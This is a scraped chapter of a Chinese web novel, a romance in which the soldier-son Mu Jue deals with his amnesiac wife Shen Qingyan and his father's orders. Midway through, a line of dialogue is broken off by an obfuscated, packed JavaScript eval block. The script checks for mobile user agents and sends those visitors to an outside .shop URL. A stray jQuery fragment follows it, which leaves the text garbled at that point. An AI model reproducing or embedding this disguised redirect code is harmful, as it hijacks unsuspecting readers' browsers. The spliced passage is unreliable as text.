文趣网 > 其他小说 > 失忆后和死对头he了 > 17.阴险
    穆决很想撬开她的脑袋,看看里面到底装了什么。

    他没忍住,问:“你脑子是真摔坏了?”

    然而不论他再说什么,沈清妍却都不回了。

    仿佛跑这一趟,就真的只是为了陪在他身边,仅此而已。

    心头莫名弥散起一股异样的情绪,穆决挑了挑一边眉毛,忽然连名带姓地喊她:“沈清妍——”

    “打架的是我,挨打挨罚的也是我,你为什么要生气?”

    听到最后那两个字,沈清妍先是一怔,既而皱起了眉。

    她是在……生气吗?

    不对,她为什么要生气,她不是因为担心他才来的吗?

    发顶上,忽然落下了一记有点重的抚摸,沈清妍抬眼看他,始作俑者却坦坦荡荡,在她的脑瓜上又揉了两下。

    “好了,不气不气,”穆决笑了一下,眉宇间多了点混不吝的气质:“下次不做这种蠢事,不叫你担心了,成不成?”

    他放软了语气,内容还是向她低头,沈清妍的脸一下就红了。

    她赶忙把他的手拿开,结结巴巴地道:“你、你胡说,我才没有生气,也没有要你和我许什么诺……”

    “你不应,那我下次还这样,见谁打谁。下回记得也来祠堂陪我。”

    明知他是故意逗她,沈清妍还是瞪他:“你非得气我吗?”

    她没忍住搡了他一下,穆决眼疾手快,单手合握住了她的一双手腕,趁势一带,把她带到了自己怀里。

    沈清妍没料到他会这样,心跳骤停一瞬,紧接着,却又砰砰地跳了起来。

    她想要推开他,可这人的语气又变得很受伤:“怎么,平时一口一个夫君的叫着,现在夫君想要抱一下,不可以?”

    沈清妍有些犹豫:“你身上有伤……”

    她怕碰痛了他。

    穆决变脸变得飞快:“我说了没事。”

    他强硬地展臂,要把她拥入怀中,沈清妍虽然有些疑惑他为什么突然这么主动,但还是顺从地依偎在他的怀里。

    “只能抱一下。”感受到他的手掌越发紧地贴在了她的后颈,沈清妍小声地道:“这里是祠堂,这样不庄……”

    庄重的重还没说出口,她忽觉扣在她后颈的那两个手指用了几分力气。眼皮蓦地一坠,倦意袭遍全身,她的脑袋咣当一沉,彻底靠在了他肩上。

    小样,跟他斗。

    穆决勾起唇,轻快地笑了一下。

    方才他就琢磨了,这个姿势最好摁她的睡穴。

    其实直接一手刀也不是不可以的,不过到底不是对仇人,他还是温柔了一点。

    穆决支起条腿,把她搂下来,放躺在了膝上。

    而且……

    他屈起指节,轻碰了下她的侧脸。

    本来就很傻了,不然怎么会吃饱了撑的,要陪他一起跪?

    一手刀下去,更傻了怎么办?

    穆决收回手,顺势打了两个响指,候在祠堂外打哈欠的千重飞身进来,问:“郎君有何吩咐?”

    “把少夫人送回去。”

    千重呆了一下,随即指了指还睡着的沈清妍,又反手指了指自己:“我?这不合适吧……”

    吩咐完,穆决也沉默了一下。

    想到她被其他人抱着的画面,他一时竟有些烦躁,扬手就道:“算了,你滚吧。”

    千重极快地眨了两下眼,见穆决把沈清妍打横抱起,他非常识相地把肚子里那句“要不我去叫个健壮的仆妇来”给吞了下去,麻利地就滚了。

    不过滚之前,他还是没忍住问道:“郎君,节帅他不是说今晚你……”

    穆决白他一眼,道:“行,你去跟他说我溜了,让他来打死我。”

    光鲁祺就被他打断了两根肋骨,穆崇哪怕是为了做样子也不可能不罚他,但若真的想要他好看,就不会只是跪祠堂这么简单,还是让他自己的亲卫看着。

    夜风森冷,穆决大跨步迈了出去,把怀里的人揣得更紧了些。

    抱着她这件事情比想象中还要轻松,他忽然意识到,上次救她抱起的,更多的是冬衣浸水后的重量。

    回到西院时,见院子里一片漆黑,穆决的脸色立马就冷了下来。

    他把沈清妍放床上安置好,惩罚般狠狠地捏了一下她的脸蛋,才负手走了出去。

    春驰和另外两个婢女见他抱着横着的沈清妍回来,一时都有些惊慌。

    穆决面无表情地勾了勾唇,随即戏谑般反问:“都不知道,自家小姐摸着黑、溜出去了?”

    有人想解释,穆决抬手,示意她闭嘴。

    “没发现她夜半溜出去是错,既是她的婢女,她宁可自己偷偷跑出去,也没有叫上谁一起,这说明你们没有让她信任,更是错。”

    “她现在很多事情想不起来,性子软,不代表可以慢待她。你们是她的人,我不会代她做什么,但是有的事情,不要给我说第二次的机会。”

    ……

    穆决在祠堂里实打实地待了三天。

    沈清妍再没来过了。

    看来是被他气得够呛,估计是不会偷偷哭了。

    不过,闵峥这个府医倒是来了几趟,还同他打趣道:“少夫人挂念得紧呐,托我带来这对护膝,每天都要问我你的情况——嘘,郎君回去了可别跟她说我提了这茬,不然少不得要记恨我咯。”

    习武之人,免不了摔摔打打,穆决并不把那十记军棍放在心上。

    动手前,他就预料到了可能的代价,没什么不能接受的。

    他自己不当回事,她却在意,穆决不可能不触动。

    可他心下,却也生出了许多古怪的念头——

    她为什么这样对他?

    是因为他,还是因为……他是她的夫君?

    若一觉醒来,换了其他郎君,穿着喜服站在她眼前,她是否也会温温柔柔地唤他夫君,再像现在这样,把一颗真心捧出去?

    这个问题太深奥了,一时也无人能为穆决解惑,他很快把心绪压下,没再深想。

    三天时间转眼即逝,穆崇身边的人叫他过去,穆决起身抖抖腿,往正堂去了。

    白天的时间,穆崇毫无意外都在处理政事。边关重镇,军政系于一人,他当然是长于排兵布阵的,但整个灵州,并不只有战事。

    见儿子来,他的表情也没有什么变化,父子俩在这方面倒是很肖似。

    “这三天,可反省了?”

    他随口问,穆决随口答:“反省了。”

    穆崇笑,摇头道:“不,你没有。”

    穆决垂着眼睛,没回答。

    穆崇的声音从上首继续传来,他声量并不大,但在偌大的节堂内依旧几有回音。

    “从前你问过我,为什么明知你武艺过人,却依旧没有放你去真正的沙场历练。”

    “你母亲说,我怕绝后,这个原因,对也不对。”

    “行伍间的铁律是服从。军令如山,便是要你去死你也得去。而你从小到大,最是不驯。”

    “就像三天前,你明知为父给你的命令,是合作,却还是挥出了那一拳。我不在乎你到底为什么要打成州的人,我只看这个结果。”

    诸多缘由,从前只有猜测,今日倒真是穆崇第一次推心置腹地同他说这些话。

    穆决在袖底捏紧了拳头,他沉默半晌,问道:“那父亲今日和我说这些,是为什么?”

    穆崇和煦地笑道:“毕竟,你是我唯一的儿子了,你母亲也与我说了,既是儿郎,总该出去历练,脾性……也是要打磨的。”

    “有一件要紧的事,我要交给你去办,你若办妥了,回来后,我便直授你骑军都头之职,入我虎威军中,如何?”

    真听到这句话时,穆决的心情比他自己想象中平静许多。

    他眉梢微动,抬眼问道:“敢问父亲,这件事,可与成州、与铁脊山的那座铁矿有关?”

    穆崇颔首:“朝廷掣肘我们北境三州的,无非就是盐铁。成州既有盐了,我们与他交换,互惠共利,都可以减轻被中原控制

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17883812|201992||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的程度。”

    “鲁家带来了一批新盐,作为诚意,将先一步、陆陆续续抵达灵州。他们的要求是,元宵节后,亲自去一趟铁矿,看看我们的产出能否支撑与他们的互换。”

    穆决难得地哽了一下,问道:“鲁祺能愿意与我一道去?”

    穆崇反问:“重要吗?”

    穆决想了想,确实不重要。

    此番来灵州,鲁祺更像是一个吉祥物,真正拿主意的,是他身边那个鲁钺的副官,名唤鲁泽。

    穆决又问起还要准备些什么,穆崇摆摆手,只道:“临行前,我会再把安排都告诉你,你且去客馆看一眼,弥补的态度做好。”

    穆崇没说时间,于是穆决从节堂出来,转身就去了。

    客馆在他的到来的瞬间,就变得气氛微妙。鲁祺肉眼可见地想跑,不过他肋骨伤到了,大腿上也被踹得很狠,一时间是跑也跑不掉。

    打也打完了,有些人想必是再也不敢大放厥词,穆决心情愉悦得很,倒不介意真的赔罪。

    但是鲁祺不敢消受。

    ——这哪是道歉,现在穆决站着他躺着,这分明是战胜后的鼓乐!

    在穆决动手之前,鲁祺以为他不过是个自视甚高的毛头小子,但后来回想起那一瞬他冷厉下来的神情……竟比直冲他面门而来的拳头细想更叫人胆寒。

    不是说穆节度把这儿子看得跟眼珠子似的,快加冠了,连真刀真枪的战场都没上过吗?怎么会这样……

    手下败将如何作想,穆决是浑然不在乎。

    过场已经走完了,他今日不用再去什么祠堂,便回了住处。

    在祠堂待了三天,衣裳都被熏得一股香火味,穆决喜洁,受不了这味道,先去洗沐换了衣服。

    清清爽爽地出来了,他才不经意般问了个婢女:“你们少夫人,可是在歇午觉?”

    她如今的生活很规律,除了吃睡,便是在书房翻那几本医书。

    但他刚刚往书房扫了一眼,没人,也没灯。

    婢女恭顺地答:“回郎君的话,少夫人现在不在院子里,她应该是去了药舍,这两天都是如此。”

    药舍……闵峥和其他几个府医都在那边。

    想到她今日时常翻动的本草经,穆决便猜到她是去干什么了。

    书读百遍其义自见——这个道理对医书而言是行不通的,她估计是去寻闵峥了,想要认一认药材。

    酝酿着可能要吵的架没有吵,酝酿着可能要哄她的话也没有哄,莫名其妙的,穆决有些憋气。

    可这样憋气的感觉好没道理,因为她只是在平静地做自己的事。

    没有谁规定,妻子就必须记挂着不在身边的丈夫。

    何况,他们还不是真夫妻。

    这三天,在祠堂确实没怎么好好休息,等到傍晚时分,穆决索性睡了。

    他半梦半醒地歇了一会儿,直到有人在他身边坐下,戳戳他,又戳戳他。

    见他不睁眼,这人更过分了,还伸手来掀他的眼皮。

    装不了一点死,穆决睁眼。

    看他醒了,沈清妍本来下意识就扬起了点笑,可很快却又像想起什么似的,冷哼一声,嘴角耷拉了下去。

    “不疼?就这么躺着睡?”

    她用近乎质问的口气问。

    穆决一点也不想回答,只偏开视线,道:“还好。”

    说破天去,挨打也不是什么光彩的事情,他不想在她面前说太多。

    她没再问下去,应该是被他的态度冷到了,穆决缓缓呼出一口气,正打算再说点什么,她的手,却忽然按在了他肩膀上。

    穆决一怔,见她凑近,似乎还在他身上摸索,像是在找衣带在哪,他惊了,一翻身坐起来,问:“干什么?”

    沈清妍又是一声冷哼:“坐起来正好,我也懒得伺候你。”

    见穆决仿佛还没明白她的意思,她板着脸道:“快把衣裳脱了,我要看你背后的伤。”

    穆决这才发现,她怀里还抱着一只药钵。